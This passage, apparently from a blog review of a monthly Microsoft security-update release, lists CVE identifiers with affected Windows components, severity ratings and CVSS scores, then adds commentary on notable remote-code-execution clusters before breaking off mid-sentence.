Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: 